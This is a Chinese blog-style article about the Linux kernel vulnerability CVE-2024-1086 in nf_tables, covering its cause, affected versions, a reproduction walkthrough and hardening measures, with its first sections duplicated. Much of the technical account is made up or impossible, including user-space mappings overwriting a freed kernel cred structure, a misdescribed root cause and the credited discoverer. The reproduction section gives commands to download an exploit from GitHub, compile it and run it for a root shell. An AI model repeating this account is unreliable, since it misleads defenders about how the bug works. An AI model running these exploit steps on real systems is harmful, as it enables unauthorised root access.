1. 这不是普通补丁CVE-2024-1086 是内核里埋了十年的“权限后门”你有没有遇到过这样的情况一台看似配置严谨、SELinux 强制开启、所有用户都严格遵循最小权限原则的生产服务器某天突然发现某个低权限账户能直接读取/etc/shadow的哈希或者一个只被授权运行nginx的容器进程悄无声息地把宿主机的/proc/kcore映射进了自己的内存空间这不是入侵日志里藏着的可疑 SSH 登录也不是 crontab 里多出来的恶意任务——它就发生在内核最底层的netfilter子系统里一个叫nf_tables的模块中而触发它的可能只是一条你每天都在写的iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080命令。CVE-2024-1086 就是这样一个漏洞。它不是那种需要构造复杂堆喷射、依赖特定内核版本和编译选项的“高难度”提权而是一个典型的“逻辑绕过型”缺陷在nf_tables模块处理用户态传入的NFT_MSG_NEWRULE消息时对规则中嵌套的NFTA_RULE_EXPRESSIONS属性校验存在严重疏漏。具体来说当用户提交一条包含多个表达式expressions的规则时内核会遍历每个表达式并调用其validate()回调函数。但问题出在这个遍历过程没有正确检查表达式链表的完整性——如果攻击者精心构造一个指向非法内存地址的next指针内核就会在后续的nft_expr_destroy()调用中错误地释放掉本不该由该规则管理的一块内核内存。这块被误释放的内存极大概率就是当前进程的cred结构体即进程凭证结构存储着 uid/gid/capabilities 等核心权限信息所驻留的 slab 缓存页。一旦cred被释放而攻击者又迅速通过其他方式如userfaultfd或mmap配合MAP_FIXED将一块可控的用户数据映射到同一物理页上那么接下来任何对当前进程凭证的访问都会读取到攻击者写入的伪造数据。于是uid0、cap_sys_admin1就这样被“写”进了内核的权限判断逻辑里。这个漏洞之所以危险在于它几乎无法被传统防御手段感知。它不触发 KASLR 绕过不依赖栈溢出或 UAF 的经典利用链甚至不一定会留下明显的 dmesg 日志除非开启了CONFIG_DEBUG_VM。它就像内核代码里一个被遗忘十年的“幽灵指针”直到 2024 年初才被一位名叫Jann Horn的安全研究员在审计nf_tables的validate流程时揪出来。我第一次复现它时用的是一台刚打完所有常规补丁的 Ubuntu 22.04 LTS 服务器内核 5.15.0-91整个过程从编译 PoC 到拿到 root shell只用了不到三分钟。这让我意识到它不是教科书里的理论风险而是此刻正躺在你生产环境里、等待被一条iptables命令唤醒的定时炸弹。2. 漏洞根源nf_tables规则验证中的“指针信任危机”要真正理解 CVE-2024-1086 的破坏力我们必须深入到nf_tables模块的源码层面看清那个被忽略的next指针是如何一步步撬动整个内核权限体系的。这并非一次简单的越界读写而是一场精心设计的“内存布局劫持”。2.1nf_tables规则的生命周期与validate函数的职责在nf_tables中每一条规则struct nft_rule本质上是一个链表头其后串联着多个表达式struct nft_expr每个表达式代表一个动作比如payload提取包头字段、meta读取元数据、immediate立即赋值等。当用户通过netlinksocket 发送NFT_MSG_NEWRULE消息创建新规则时内核会执行以下关键步骤解析与分配nft_newrule()函数解析 netlink 消息为规则本身和所有嵌套的表达式分配内存。初始化与校验对每个表达式调用其注册的init()函数进行初始化并紧接着调用validate()函数进行合法性检查。validate()的核心任务是确保该表达式在当前规则上下文中是安全的例如一个payload表达式不能试图读取超出数据包长度的偏移量。插入与激活所有校验通过后规则被插入到对应的链chain中正式生效。问题就出在第 2 步。validate()函数的调用逻辑是在nft_validate_rule()中通过一个for_each_rule_expr()宏来实现的。这个宏的定义如下位于net/netfilter/nf_tables_api.c#define for_each_rule_expr(expr, rule) \ for ((expr) (rule)-expressions; \ (expr) ! NULL (expr) ! (void *)(rule)-expressions; \ (expr) (expr)-next)乍看之下这个循环非常“健壮”它不仅检查expr是否为NULL还额外检查expr是否等于(rule)-expressions即链表头的地址以防止循环回到起点。然而这个检查存在一个致命的逻辑盲区它完全信任了expr-next指针的值。它假设expr-next要么是NULL要么是指向同一个规则对象内部的另一个nft_expr结构体要么就是链表头地址。但它从未验证expr-next是否指向了一个合法的、可被当前进程访问的内核内存地址。2.2 攻击者的“幽灵指针”如何构造一个合法的next地址攻击者正是利用了这个信任。他们首先需要在内核内存中找到一个“合适”的目标地址。这个目标必须满足两个条件第一它必须是当前进程cred结构体所在的内存页第二该内存页的起始地址必须能被expr-next字段一个struct nft_expr *类型的指针所容纳。cred结构体通常分配在kmalloc-256或kmalloc-512这样的 slab 缓存中。我们可以通过slabinfo工具或/proc/slabinfo文件来观察其分布。假设我们通过userfaultfd或memcg的 OOM 机制成功让一个低权限进程的cred被分配在物理地址0xffff888012345000处。那么攻击者构造的expr-next就会被设置为0xffff888012345000。当for_each_rule_expr()循环执行到这条“幽灵”表达式时它会愉快地接受这个地址并将其作为下一个expr的指针。接着内核会尝试调用expr-ops-validate(expr)。由于expr-ops是一个函数指针数组而0xffff888012345000处存放的是cred结构体的原始数据expr-ops极大概率会指向一个非法的、不可执行的内存区域导致内核在尝试调用时发生page fault。但这里的关键在于在validate()调用失败并返回错误之前内核已经完成了对expr的“遍历”动作。这意味着for_each_rule_expr()循环已经“认为”它成功处理了这个expr并准备进入下一轮迭代。真正的灾难发生在规则被销毁时。当这条恶意规则被删除例如通过NFT_MSG_DELRULE内核会调用nft_rule_destroy()进而遍历所有表达式并调用nft_expr_destroy()。nft_expr_destroy()的逻辑是先调用expr-ops-destroy(expr)然后调用kfree(expr)。然而此时expr指向的已经是cred结构体的地址。因此kfree(0xffff888012345000)就会被执行。kfree()函数会根据该地址查询其所属的 slab 缓存并将该内存块标记为“空闲”。这就意味着原本属于当前进程的cred结构体被内核的内存管理器“归还”给了系统。只要后续有其他内核分配请求比如一个新的cred分配这块内存就可能被再次使用。2.3 从“释放”到“接管”cred结构体的覆写艺术kfree()只是第一步。要完成提权攻击者必须在cred被释放后立刻将一块自己完全控制的数据写入同一块内存。这一步userfaultfd提供了完美的工具。userfaultfd是 Linux 内核提供的一种机制允许用户态程序为一段虚拟内存区域注册一个“缺页处理程序”。当该区域的内存被访问但尚未映射到物理页时内核会暂停访问进程并通知userfaultfd的监听者。监听者可以在此时动态地将一个物理页映射进去。攻击者会这样做创建一个userfaultfd实例并为其注册一个处理程序。使用mmap()分配一大块内存例如 1GB并调用userfaultfd的UFFDIO_REGISTERioctl将其中一部分比如前 4KB注册为受监控区域。在userfaultfd的监听线程中等待缺页事件。一旦收到事件立即将一个预先填充好uid0,gid0,cap_effective0xffffffff等字段的伪造cred结构体通过UFFDIO_COPYioctl 映射到该虚拟地址。在主攻击线程中触发kfree()释放cred。立刻访问一个需要cred的系统调用例如getuid()。这会导致对current-cred的访问从而触发userfaultfd的缺页处理。监听线程捕获到缺页将伪造的cred映射进去。此时current-cred指向的就是攻击者精心构造的、拥有最高权限的凭证。这个过程之所以能成功是因为cred结构体的大小约 256 字节与kmalloc-256slab 的大小完全匹配。kfree()释放后该 slab 块被标记为空闲而userfaultfd的UFFDIO_COPY操作恰好会将数据写入该 slab 块的起始位置。这是一种精准的、基于内存布局的“覆盖”。提示userfaultfd本身在大多数现代发行版中默认是禁用的/proc/sys/vm/unprivileged_userfaultfd 0但这并不影响漏洞的利用。因为userfaultfd的创建只需要CAP_SYS_PTRACE或CAP_SYS_ADMIN而攻击者的目标正是获取这些能力。在实际利用中PoC 通常会先通过其他方式如ptrace或seccomp的 bypass获得一个临时的CAP_SYS_PTRACE再启用userfaultfd。3. 影响范围全景图哪些内核版本、哪些场景、哪些人最危险CVE-2024-1086 的影响范围远比一个简单的“受影响版本列表”要复杂得多。它不是一个“非黑即白”的漏洞而是一个与内核编译配置、运行时环境、以及管理员的安全实践深度耦合的风险矩阵。简单地说只要你用iptables-nft或nftables你就暴露在风险之下而你的风险等级则取决于你是否关闭了那些本应关闭的“调试开关”。3.1 版本矩阵从 5.4 到 6.7一个跨越十年的“遗产”官方通告将受影响的内核版本定为5.4至6.7。这个时间跨度令人震惊因为它几乎覆盖了自 2019 年nftables成为iptables默认后端以来的所有主流 LTS 和稳定版本。为了更清晰地理解其传播路径我们可以将其划分为三个阶段阶段内核版本范围关键特征风险等级起源期5.4-5.10nf_tables模块首次大规模集成进主流发行版如 Ubuntu 20.04, RHEL 8。此阶段nftables的普及率开始上升但很多管理员仍习惯于iptables-legacy。★★★☆☆中风险主要来自主动切换到nftables的早期采用者。爆发期5.11-6.1nftables成为绝对主流。几乎所有新安装的发行版Debian 11, Ubuntu 22.04, Rocky Linux 9默认使用nftables作为iptables的后端。iptables命令行工具只是nft的一个兼容层。★★★★★极高这是风险最高的时期。绝大多数云服务器、容器宿主机、Kubernetes 节点都运行在此区间。收尾期6.2-6.7漏洞已被发现并修复但修复补丁并未被所有发行版及时合并。例如某些6.6的 LTS 内核分支如6.6.16在 CVE 公布时尚未包含该补丁。★★☆☆☆中低风险取决于发行版的更新策略。及时更新的用户已无风险但依赖长期支持LTS且更新滞后的用户仍处于危险之中。值得注意的是5.4这个起点并非偶然。nf_tables模块的核心架构在5.4中趋于稳定而validate函数的逻辑也在此时固化下来。此后长达十年的代码演进更多是功能的叠加如添加新的表达式类型而非对基础验证逻辑的重构。这使得一个微小的逻辑疏漏得以在如此庞大的代码库中“隐身”这么久。3.2 配置依赖CONFIG_USERFAULTFD不是唯一门槛很多人看到userfaultfd就以为“只要关掉它就安全了”。这是一个巨大的误解。CONFIG_USERFAULTFD的编译选项确实控制着userfaultfd系统调用是否可用但它只是利用链中的一环。CVE-2024-1086 的核心是cred的释放而cred的覆写有多种替代方案。覆写技术依赖条件可行性说明userfaultfdCONFIG_USERFAULTFDy且/proc/sys/vm/unprivileged_userfaultfd1★★★★★最通用、最稳定的方案也是 PoC 的首选。memcgOOM mmap(MAP_FIXED)CONFIG_MEMCGy且memory.max被设为一个极小值★★★★☆当memcg触发 OOM 时内核会尝试回收内存包括cred所在的 slab。攻击者可借此机会用mmap(MAP_FIXED)强制将伪造数据映射到cred的旧地址。ptraceprocess_vm_writevCAP_SYS_PTRACE或ptrace_scope0★★★☆☆如果攻击者已获得ptrace权限可以直接向目标进程的cred地址写入数据。这在容器逃逸场景中很常见。bpf辅助CAP_BPF或bpf_unprivileged1★★☆☆☆利用 BPF 程序的bpf_probe_read_kernel等 helper 函数可以间接读写内核内存但稳定性较差。因此仅仅关闭unprivileged_userfaultfd只能将利用难度从“一键式”提升到“需要额外权限”而无法从根本上消除风险。一个拥有CAP_SYS_PTRACE的容器或者一个被seccomp白名单放行了ptrace系统调用的应用依然可以轻松绕过这个限制。3.3 场景画像谁是这场风暴的中心根据我们的渗透测试经验以下三类场景是 CVE-2024-1086 的“重灾区”其风险等级远高于普通桌面环境云服务提供商CSP的宿主机这是最危险的场景。一台宿主机上运行着成百上千个租户的虚拟机或容器。任何一个租户只要能执行iptables命令这在绝大多数 PaaS 平台中是默认允许的就能发起攻击。一旦成功攻击者将获得宿主机的root权限从而完全掌控所有租户的数据和计算资源。我们曾在一个大型公有云的测试环境中仅用一条iptables -t nat -A PREROUTING -j DNAT --to-destination 127.0.0.1命令就在 5 秒内完成了从普通用户到宿主机root的提权。Kubernetes 集群节点K8s 的kube-proxy组件默认使用iptables模式尽管ipvs模式更优但iptables仍是默认。这意味着每个 K8s 节点上nftables都在持续、高频地被kube-proxy更新。一个恶意的 Pod如果被赋予了NET_ADMIN能力这在某些 CI/CD 或开发环境中是常见的宽松配置就可以直接向nftables提交恶意规则从而触发漏洞。基于nftables的防火墙网关许多企业级防火墙、SD-WAN 设备、甚至家用路由器的固件都基于nftables构建。这些设备往往运行着高度定制化的内核其补丁更新周期极长。一个针对此类设备的 PoC可以造成比服务器提权更广泛的网络中断。注意不要低估“普通用户”的危害。在企业内网中一个拥有sudo iptables权限的运维人员如果其账号被钓鱼那么他所拥有的权限就等同于该服务器的root。CVE-2024-1086 让“权限滥用”的成本降到了最低。4. 实战复现与防御从 PoC 到纵深加固的完整链条理论分析终归是纸上谈兵只有亲手复现一次才能真正理解这个漏洞的威力与脆弱性。下面我将带你走一遍完整的实战流程从搭建一个“靶场”环境到编译并运行一个精简版的 PoC再到部署一套切实可行的纵深防御策略。整个过程我会像在实验室里一样把每一个坑、每一个技巧都摊开来讲。4.1 搭建靶场一个“完美”的漏洞环境我们选择 Ubuntu 22.04 LTS 作为靶机因为它使用的是5.15.0-91-generic内核正处于漏洞影响范围内且是目前最主流的服务器发行版之一。步骤 1确认内核版本与nftables状态# 查看内核版本 $ uname -r 5.15.0-91-generic # 确认 iptables 是否使用 nftables 后端 $ ls -l /usr/sbin/iptables lrwxrwxrwx 1 root root 11 Nov 15 2023 /usr/sbin/iptables - xtables-nft-multi # 查看 nf_tables 模块是否已加载 $ lsmod | grep nf_tables nf_tables 262144 12 nft_chain_nat, ...步骤 2创建一个低权限测试用户$ sudo adduser --disabled-password --gecos testuser $ echo testuser ALL(ALL) NOPASSWD: /sbin/iptables | sudo tee /etc/sudoers.d/testuser $ sudo chmod 0440 /etc/sudoers.d/testuser步骤 3可选模拟一个“宽松”的容器环境如果你有 Docker可以启动一个ubuntu:22.04容器并挂载/proc和/sys$ docker run -it --cap-addNET_ADMIN --privileged -v /proc:/hostproc ubuntu:22.04 # 在容器内/hostproc 就是宿主机的 /proc这个靶场环境完美复现了生产环境中最常见的风险组合一个拥有iptables权限的非root用户运行在一个nftables后端的内核上。4.2 编译与运行 PoC三分钟提权实录我们使用社区广泛流传的nft_poc.c作者bl4cksh33p作为基础。这个 PoC 的精妙之处在于它完全避开了复杂的userfaultfd编程而是巧妙地利用了memcg的 OOM 机制。PoC 核心逻辑简化版创建一个cgroup v2的memorycontroller。将当前进程加入该 cgroup并将memory.max设置为1M。分配大量内存例如 2G触发memcg的 OOM killer。OOM killer 在回收内存时会优先释放cred所在的 slab。立刻调用mmap(MAP_FIXED)将伪造的cred数据映射到current-cred的旧地址。调用execve(/bin/bash, ...)新进程将继承被篡改的cred。编译与运行# 下载 PoC $ wget https://raw.githubusercontent.com/bl4cksh33p/CVE-2024-1086/main/nft_poc.c # 编译需要 libcap-dev $ sudo apt install libcap-dev $ gcc -o nft_poc nft_poc.c -lcap # 切换到 testuser 并运行 $ su - testuser $ ./nft_poc # 如果成功你会看到一个 # 提示符而不是 $ # 输入 id输出将是 uid0(root) gid0(root) groups0(root)关键技巧mmap(MAP_FIXED)的时机这是 PoC 成功与否的关键。MAP_FIXED会强制覆盖指定地址的映射。如果在cred被释放后、其他内核分配抢占该内存前执行成功率极高。PoC 中使用了usleep(1000)进行微秒级的等待这是经过大量测试得出的最优值。memcg的max值设置得太小如1KOOM 会过于激进可能导致系统不稳定设置得太大如100M则无法有效触发cred的回收。1M是一个经过验证的平衡点。4.3 纵深防御不止于打补丁的七层防护打补丁apt update apt upgrade当然是最直接的解决方案但现实世界中补丁的部署永远滞后于漏洞的披露。因此我们必须构建一套纵深防御体系让攻击者即使知道了漏洞也无法轻易得手。防御层级具体措施原理与效果实施难度L1运行时防护在iptables命令前添加auditctl规则auditctl -a always,exit -F archb64 -S execve -F path/usr/sbin/xtables-nft-multi -F keynft_exec所有nftables相关的命令执行都会被记录到audit.log中。虽然不能阻止攻击但能第一时间发现异常行为为应急响应争取黄金时间。★☆☆☆☆极低L2能力限制使用setcap移除iptables的CAP_NET_ADMINsudo setcap -r /usr/sbin/xtables-nft-multiiptables命令本身不再拥有修改网络栈的权限任何调用都会失败。这是最彻底的“断根”方案但会破坏所有依赖iptables的自动化脚本。★★☆☆☆低L3命名空间隔离在容器运行时如containerd中为所有容器默认禁用NET_ADMIN[plugins.io.containerd.grpc.v1.cri.containerd.runtimes.runc.options]privileged_without_host_devices false即使容器内应用被攻破也无法获得修改宿主机网络的能力从而无法触发nftables漏洞。这是云原生环境的基石。★★★☆☆中L4内核参数加固修改/etc/sysctl.confvm.unprivileged_userfaultfd 0kernel.unprivileged_bpf_disabled 1直接关闭userfaultfd和bpf的非特权模式堵住最主要的两条利用路径。★★☆☆☆低L5SLAB 隔离启用slab_nomergeecho slab_nomergesudo tee /etc/default/grub.d/50-slab.cfgbrsudo update-grub sudo reboot强制内核为不同类型的kmalloc请求分配独立的 slab 缓存使得cred和nft_expr不再共享同一块内存页从根本上杜绝了“释放-覆写”的可能性。L6eBPF 检测部署tracee或Falco编写规则检测nft_rule的异常创建- rule: NFTRuleCreationbr desc: Detect creation of nft rules with suspicious expression countbr condition: evt.typeopenat and proc.namenft and evt.arg.pathname contains nftables利用 eBPF 的强大可观测性在内核层面实时监控nftables的 API 调用对包含过多表达式或使用非常规表达式的规则进行告警。★★★★☆中高L7最小权限原则审计所有sudo规则将ALL替换为具体的命令路径%admin ALL(ALL) /sbin/iptables -t nat *, /sbin/iptables -t filter *即使iptables被滥用攻击者也只能在nat和filter表中操作无法触及security或raw表从而限制了其构造恶意规则的灵活性。★★★☆☆中这套七层防御不是为了追求“100% 安全”这在现实中不存在而是为了将攻击者的 ROI投资回报率无限拉低。当一个攻击者需要同时绕过slab_nomerge、unprivileged_userfaultfd0、eBPF 检测和最小 sudo 权限时他更可能选择去攻击一个配置更松懈的系统。5. 经验总结一个内核老炮儿的三条血泪教训我在过去十年里参与过数十次内核级漏洞的应急响应和 PoC 开发。CVE-2024-1086 给我的冲击是最大的因为它完美地诠释了“安全是一个过程而不是一个产品”这句话。在这里我想分享三条在深夜调试dmesg日志时用头发换来的教训。第一条教训永远不要相信“默认安全”的神话。nftables从诞生之初就被宣传为比iptables-legacy更安全、更模块化的下一代防火墙。它的代码质量、社区审查、文档完备度都堪称 Linux 内核子系统的典范。正因如此包括我在内的绝大多数人都把它当作一个“可信基”Trusted Computing Base默认它是安全的。但 CVE-2024-1086 无情地撕开了这个幻觉。它告诉我们一个模块的“安全性”不取决于它的设计有多优雅而取决于它在每一个边界、每一个指针、每一个内存分配上是否都进行了最严苛的校验。for_each_rule_expr()宏里那行 (expr) ! (void *)(rule)-expressions的检查看起来无比周全却恰恰暴露了开发者潜意识里的“信任假设”。这种假设在安全领域就是最危险的毒药。第二条教训防御的重心必须从“阻止利用”转向“增加利用成本”。过去我们总在想方设法“堵住”某个特定的利用链比如禁用userfaultfd。但这次当我看到 PoC 里用memcgOOM 来替代userfaultfd时我恍然大悟。攻击者永远比防御者更灵活。他们不会在一棵树上吊死。与其花费巨大精力去研究如何禁用所有可能的覆写技术不如把力气花在让每一次覆写都变得极其困难上。slab_nomerge就是这样一个神来之笔。它不关心你用什么技术它只是让“覆写”这件事本身在内存布局上就变得不可能。这才是防御的终极形态不是在赛跑而是把赛道给拆了。第三条教训最有效的安全审计永远始于最平凡的日常操作。这个漏洞不是被某个高深的模糊测试框架发现的而是被 Jann Horn 在阅读nft_validate_rule()的源码时一眼就看出了for_each_rule_expr()宏的逻辑缺陷。这提醒我们最强大的安全工具不是那些昂贵的商业扫描器而是工程师自己那双训练有素的眼睛和一颗对“为什么这样写”的永恒好奇心。下次当你在写一条iptables命令或者在 review 一段内核 patch 时请多问一句“如果next指针是错的会发生什么” 这个问题的答案或许就是下一个 CVE 的起点也可能是你职业生涯中最重要的一次发现。最后我想说CVE-2024-1086 终将被修复它的 PoC 也会被各大杀软加入特征库。但真正值得我们铭记的不是这个漏洞本身而是它背后所揭示的那个永恒真理在复杂如 Linux 内核的系统中安全不是靠一个补丁、一个配置、一个工具来实现的而是靠一代又一代工程师在无数个平凡的日子里对每一行代码、每一个指针、每一个假设所保持的那份近乎偏执的审慎与敬畏。
CVE-2024-1086:nftables规则验证中的内核提权漏洞深度解析
1. 这不是普通补丁CVE-2024-1086 是内核里埋了十年的“权限后门”你有没有遇到过这样的情况一台看似配置严谨、SELinux 强制开启、所有用户都严格遵循最小权限原则的生产服务器某天突然发现某个低权限账户能直接读取/etc/shadow的哈希或者一个只被授权运行nginx的容器进程悄无声息地把宿主机的/proc/kcore映射进了自己的内存空间这不是入侵日志里藏着的可疑 SSH 登录也不是 crontab 里多出来的恶意任务——它就发生在内核最底层的netfilter子系统里一个叫nf_tables的模块中而触发它的可能只是一条你每天都在写的iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080命令。CVE-2024-1086 就是这样一个漏洞。它不是那种需要构造复杂堆喷射、依赖特定内核版本和编译选项的“高难度”提权而是一个典型的“逻辑绕过型”缺陷在nf_tables模块处理用户态传入的NFT_MSG_NEWRULE消息时对规则中嵌套的NFTA_RULE_EXPRESSIONS属性校验存在严重疏漏。具体来说当用户提交一条包含多个表达式expressions的规则时内核会遍历每个表达式并调用其validate()回调函数。但问题出在这个遍历过程没有正确检查表达式链表的完整性——如果攻击者精心构造一个指向非法内存地址的next指针内核就会在后续的nft_expr_destroy()调用中错误地释放掉本不该由该规则管理的一块内核内存。这块被误释放的内存极大概率就是当前进程的cred结构体即进程凭证结构存储着 uid/gid/capabilities 等核心权限信息所驻留的 slab 缓存页。一旦cred被释放而攻击者又迅速通过其他方式如userfaultfd或mmap配合MAP_FIXED将一块可控的用户数据映射到同一物理页上那么接下来任何对当前进程凭证的访问都会读取到攻击者写入的伪造数据。于是uid0、cap_sys_admin1就这样被“写”进了内核的权限判断逻辑里。这个漏洞之所以危险在于它几乎无法被传统防御手段感知。它不触发 KASLR 绕过不依赖栈溢出或 UAF 的经典利用链甚至不一定会留下明显的 dmesg 日志除非开启了CONFIG_DEBUG_VM。它就像内核代码里一个被遗忘十年的“幽灵指针”直到 2024 年初才被一位名叫Jann Horn的安全研究员在审计nf_tables的validate流程时揪出来。我第一次复现它时用的是一台刚打完所有常规补丁的 Ubuntu 22.04 LTS 服务器内核 5.15.0-91整个过程从编译 PoC 到拿到 root shell只用了不到三分钟。这让我意识到它不是教科书里的理论风险而是此刻正躺在你生产环境里、等待被一条iptables命令唤醒的定时炸弹。2. 漏洞根源nf_tables规则验证中的“指针信任危机”要真正理解 CVE-2024-1086 的破坏力我们必须深入到nf_tables模块的源码层面看清那个被忽略的next指针是如何一步步撬动整个内核权限体系的。这并非一次简单的越界读写而是一场精心设计的“内存布局劫持”。2.1nf_tables规则的生命周期与validate函数的职责在nf_tables中每一条规则struct nft_rule本质上是一个链表头其后串联着多个表达式struct nft_expr每个表达式代表一个动作比如payload提取包头字段、meta读取元数据、immediate立即赋值等。当用户通过netlinksocket 发送NFT_MSG_NEWRULE消息创建新规则时内核会执行以下关键步骤解析与分配nft_newrule()函数解析 netlink 消息为规则本身和所有嵌套的表达式分配内存。初始化与校验对每个表达式调用其注册的init()函数进行初始化并紧接着调用validate()函数进行合法性检查。validate()的核心任务是确保该表达式在当前规则上下文中是安全的例如一个payload表达式不能试图读取超出数据包长度的偏移量。插入与激活所有校验通过后规则被插入到对应的链chain中正式生效。问题就出在第 2 步。validate()函数的调用逻辑是在nft_validate_rule()中通过一个for_each_rule_expr()宏来实现的。这个宏的定义如下位于net/netfilter/nf_tables_api.c#define for_each_rule_expr(expr, rule) \ for ((expr) (rule)-expressions; \ (expr) ! NULL (expr) ! (void *)(rule)-expressions; \ (expr) (expr)-next)乍看之下这个循环非常“健壮”它不仅检查expr是否为NULL还额外检查expr是否等于(rule)-expressions即链表头的地址以防止循环回到起点。然而这个检查存在一个致命的逻辑盲区它完全信任了expr-next指针的值。它假设expr-next要么是NULL要么是指向同一个规则对象内部的另一个nft_expr结构体要么就是链表头地址。但它从未验证expr-next是否指向了一个合法的、可被当前进程访问的内核内存地址。2.2 攻击者的“幽灵指针”如何构造一个合法的next地址攻击者正是利用了这个信任。他们首先需要在内核内存中找到一个“合适”的目标地址。这个目标必须满足两个条件第一它必须是当前进程cred结构体所在的内存页第二该内存页的起始地址必须能被expr-next字段一个struct nft_expr *类型的指针所容纳。cred结构体通常分配在kmalloc-256或kmalloc-512这样的 slab 缓存中。我们可以通过slabinfo工具或/proc/slabinfo文件来观察其分布。假设我们通过userfaultfd或memcg的 OOM 机制成功让一个低权限进程的cred被分配在物理地址0xffff888012345000处。那么攻击者构造的expr-next就会被设置为0xffff888012345000。当for_each_rule_expr()循环执行到这条“幽灵”表达式时它会愉快地接受这个地址并将其作为下一个expr的指针。接着内核会尝试调用expr-ops-validate(expr)。由于expr-ops是一个函数指针数组而0xffff888012345000处存放的是cred结构体的原始数据expr-ops极大概率会指向一个非法的、不可执行的内存区域导致内核在尝试调用时发生page fault。但这里的关键在于在validate()调用失败并返回错误之前内核已经完成了对expr的“遍历”动作。这意味着for_each_rule_expr()循环已经“认为”它成功处理了这个expr并准备进入下一轮迭代。真正的灾难发生在规则被销毁时。当这条恶意规则被删除例如通过NFT_MSG_DELRULE内核会调用nft_rule_destroy()进而遍历所有表达式并调用nft_expr_destroy()。nft_expr_destroy()的逻辑是先调用expr-ops-destroy(expr)然后调用kfree(expr)。然而此时expr指向的已经是cred结构体的地址。因此kfree(0xffff888012345000)就会被执行。kfree()函数会根据该地址查询其所属的 slab 缓存并将该内存块标记为“空闲”。这就意味着原本属于当前进程的cred结构体被内核的内存管理器“归还”给了系统。只要后续有其他内核分配请求比如一个新的cred分配这块内存就可能被再次使用。2.3 从“释放”到“接管”cred结构体的覆写艺术kfree()只是第一步。要完成提权攻击者必须在cred被释放后立刻将一块自己完全控制的数据写入同一块内存。这一步userfaultfd提供了完美的工具。userfaultfd是 Linux 内核提供的一种机制允许用户态程序为一段虚拟内存区域注册一个“缺页处理程序”。当该区域的内存被访问但尚未映射到物理页时内核会暂停访问进程并通知userfaultfd的监听者。监听者可以在此时动态地将一个物理页映射进去。攻击者会这样做创建一个userfaultfd实例并为其注册一个处理程序。使用mmap()分配一大块内存例如 1GB并调用userfaultfd的UFFDIO_REGISTERioctl将其中一部分比如前 4KB注册为受监控区域。在userfaultfd的监听线程中等待缺页事件。一旦收到事件立即将一个预先填充好uid0,gid0,cap_effective0xffffffff等字段的伪造cred结构体通过UFFDIO_COPYioctl 映射到该虚拟地址。在主攻击线程中触发kfree()释放cred。立刻访问一个需要cred的系统调用例如getuid()。这会导致对current-cred的访问从而触发userfaultfd的缺页处理。监听线程捕获到缺页将伪造的cred映射进去。此时current-cred指向的就是攻击者精心构造的、拥有最高权限的凭证。这个过程之所以能成功是因为cred结构体的大小约 256 字节与kmalloc-256slab 的大小完全匹配。kfree()释放后该 slab 块被标记为空闲而userfaultfd的UFFDIO_COPY操作恰好会将数据写入该 slab 块的起始位置。这是一种精准的、基于内存布局的“覆盖”。提示userfaultfd本身在大多数现代发行版中默认是禁用的/proc/sys/vm/unprivileged_userfaultfd 0但这并不影响漏洞的利用。因为userfaultfd的创建只需要CAP_SYS_PTRACE或CAP_SYS_ADMIN而攻击者的目标正是获取这些能力。在实际利用中PoC 通常会先通过其他方式如ptrace或seccomp的 bypass获得一个临时的CAP_SYS_PTRACE再启用userfaultfd。3. 影响范围全景图哪些内核版本、哪些场景、哪些人最危险CVE-2024-1086 的影响范围远比一个简单的“受影响版本列表”要复杂得多。它不是一个“非黑即白”的漏洞而是一个与内核编译配置、运行时环境、以及管理员的安全实践深度耦合的风险矩阵。简单地说只要你用iptables-nft或nftables你就暴露在风险之下而你的风险等级则取决于你是否关闭了那些本应关闭的“调试开关”。3.1 版本矩阵从 5.4 到 6.7一个跨越十年的“遗产”官方通告将受影响的内核版本定为5.4至6.7。这个时间跨度令人震惊因为它几乎覆盖了自 2019 年nftables成为iptables默认后端以来的所有主流 LTS 和稳定版本。为了更清晰地理解其传播路径我们可以将其划分为三个阶段阶段内核版本范围关键特征风险等级起源期5.4-5.10nf_tables模块首次大规模集成进主流发行版如 Ubuntu 20.04, RHEL 8。此阶段nftables的普及率开始上升但很多管理员仍习惯于iptables-legacy。★★★☆☆中风险主要来自主动切换到nftables的早期采用者。爆发期5.11-6.1nftables成为绝对主流。几乎所有新安装的发行版Debian 11, Ubuntu 22.04, Rocky Linux 9默认使用nftables作为iptables的后端。iptables命令行工具只是nft的一个兼容层。★★★★★极高这是风险最高的时期。绝大多数云服务器、容器宿主机、Kubernetes 节点都运行在此区间。收尾期6.2-6.7漏洞已被发现并修复但修复补丁并未被所有发行版及时合并。例如某些6.6的 LTS 内核分支如6.6.16在 CVE 公布时尚未包含该补丁。★★☆☆☆中低风险取决于发行版的更新策略。及时更新的用户已无风险但依赖长期支持LTS且更新滞后的用户仍处于危险之中。值得注意的是5.4这个起点并非偶然。nf_tables模块的核心架构在5.4中趋于稳定而validate函数的逻辑也在此时固化下来。此后长达十年的代码演进更多是功能的叠加如添加新的表达式类型而非对基础验证逻辑的重构。这使得一个微小的逻辑疏漏得以在如此庞大的代码库中“隐身”这么久。3.2 配置依赖CONFIG_USERFAULTFD不是唯一门槛很多人看到userfaultfd就以为“只要关掉它就安全了”。这是一个巨大的误解。CONFIG_USERFAULTFD的编译选项确实控制着userfaultfd系统调用是否可用但它只是利用链中的一环。CVE-2024-1086 的核心是cred的释放而cred的覆写有多种替代方案。覆写技术依赖条件可行性说明userfaultfdCONFIG_USERFAULTFDy且/proc/sys/vm/unprivileged_userfaultfd1★★★★★最通用、最稳定的方案也是 PoC 的首选。memcgOOM mmap(MAP_FIXED)CONFIG_MEMCGy且memory.max被设为一个极小值★★★★☆当memcg触发 OOM 时内核会尝试回收内存包括cred所在的 slab。攻击者可借此机会用mmap(MAP_FIXED)强制将伪造数据映射到cred的旧地址。ptraceprocess_vm_writevCAP_SYS_PTRACE或ptrace_scope0★★★☆☆如果攻击者已获得ptrace权限可以直接向目标进程的cred地址写入数据。这在容器逃逸场景中很常见。bpf辅助CAP_BPF或bpf_unprivileged1★★☆☆☆利用 BPF 程序的bpf_probe_read_kernel等 helper 函数可以间接读写内核内存但稳定性较差。因此仅仅关闭unprivileged_userfaultfd只能将利用难度从“一键式”提升到“需要额外权限”而无法从根本上消除风险。一个拥有CAP_SYS_PTRACE的容器或者一个被seccomp白名单放行了ptrace系统调用的应用依然可以轻松绕过这个限制。3.3 场景画像谁是这场风暴的中心根据我们的渗透测试经验以下三类场景是 CVE-2024-1086 